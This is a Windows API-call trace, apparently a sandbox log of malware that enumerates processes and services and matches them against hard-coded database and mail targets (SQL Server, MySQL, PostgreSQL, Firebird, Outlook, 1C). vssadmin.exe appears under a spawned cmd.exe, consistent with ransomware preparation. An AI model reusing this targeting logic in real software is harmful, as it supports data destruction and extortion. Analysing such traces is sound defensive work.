	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0251.013] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0251.013] lstrlenW (lpString="RpcSs") returned 5
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0251.013] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0251.013] lstrlenW (lpString="SamSs") returned 5
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0251.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0251.013] lstrlenW (lpString="Schedule") returned 8
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0251.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0251.013] lstrlenW (lpString="SENS") returned 4
	[0251.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0251.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0251.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0251.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0251.014] lstrlenW (lpString="ShellHWDetection") returned 16
	[0251.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0251.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0251.014] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0251.014] lstrlenW (lpString="Spooler") returned 7
	[0251.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0251.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0251.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0251.014] lstrlenW (lpString="Themes") returned 6
	[0251.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0251.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0251.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0251.014] lstrlenW (lpString="UxSms") returned 5
	[0251.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0251.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0251.014] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0251.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0251.014] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0251.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x298
	[0251.016] Process32FirstW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0251.016] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0251.016] lstrlenW (lpString="System") returned 6
	[0251.016] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0251.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0251.016] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0251.017] lstrlenW (lpString="smss.exe") returned 8
	[0251.017] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0251.017] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0251.017] lstrlenW (lpString="csrss.exe") returned 9
	[0251.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0251.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0251.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0251.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0251.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0251.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0251.018] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0251.018] lstrlenW (lpString="wininit.exe") returned 11
	[0251.018] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0251.018] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0251.018] lstrlenW (lpString="csrss.exe") returned 9
	[0251.018] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0251.018] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0251.018] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0251.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0251.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0251.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0251.019] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0251.019] lstrlenW (lpString="winlogon.exe") returned 12
	[0251.019] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0251.019] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0251.019] lstrlenW (lpString="services.exe") returned 12
	[0251.019] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0251.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0251.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0251.020] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0251.020] lstrlenW (lpString="lsass.exe") returned 9
	[0251.020] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0251.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0251.020] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0251.020] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0251.020] lstrlenW (lpString="lsm.exe") returned 7
	[0251.020] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0251.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0251.020] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0251.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0251.021] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.021] lstrlenW (lpString="svchost.exe") returned 11
	[0251.021] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.021] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.021] lstrlenW (lpString="svchost.exe") returned 11
	[0251.021] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.021] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.022] lstrlenW (lpString="svchost.exe") returned 11
	[0251.022] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.022] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.022] lstrlenW (lpString="svchost.exe") returned 11
	[0251.022] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.022] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.023] lstrlenW (lpString="svchost.exe") returned 11
	[0251.023] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.023] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0251.023] lstrlenW (lpString="audiodg.exe") returned 11
	[0251.023] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0251.023] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0251.023] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0251.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0251.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0251.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0251.023] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.024] lstrlenW (lpString="svchost.exe") returned 11
	[0251.024] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0251.024] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0251.024] lstrlenW (lpString="userinit.exe") returned 12
	[0251.024] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0251.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0251.024] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0251.025] lstrlenW (lpString="explorer.exe") returned 12
	[0251.025] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0251.025] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0251.025] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0251.025] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0251.025] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0251.025] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0251.025] lstrlenW (lpString="dwm.exe") returned 7
	[0251.025] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.026] lstrlenW (lpString="svchost.exe") returned 11
	[0251.026] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0251.026] lstrlenW (lpString="swpesp.exe") returned 10
	[0251.026] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0251.026] lstrlenW (lpString="spoolsv.exe") returned 11
	[0251.026] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0251.026] lstrlenW (lpString="dllhost.exe") returned 11
	[0251.026] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0251.027] lstrlenW (lpString="taskhost.exe") returned 12
	[0251.027] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.027] lstrlenW (lpString="svchost.exe") returned 11
	[0251.027] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0251.027] lstrlenW (lpString="reader_sl.exe") returned 13
	[0251.027] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0251.028] lstrlenW (lpString="cmd.exe") returned 7
	[0251.028] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0251.028] lstrlenW (lpString="conhost.exe") returned 11
	[0251.028] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0251.028] lstrlenW (lpString="vssadmin.exe") returned 12
	[0251.028] Process32NextW (in: hSnapshot=0x298, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0251.029] CloseHandle (hObject=0x298) returned 1
	[0251.029] Sleep (dwMilliseconds=0x1f4) 
	[0251.928] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280900
	[0252.027] EnumServicesStatusExW (in: hSCManager=0x4280900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0252.030] GetLastError () returned 0xea
	[0252.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa64) returned 0x41f5d68
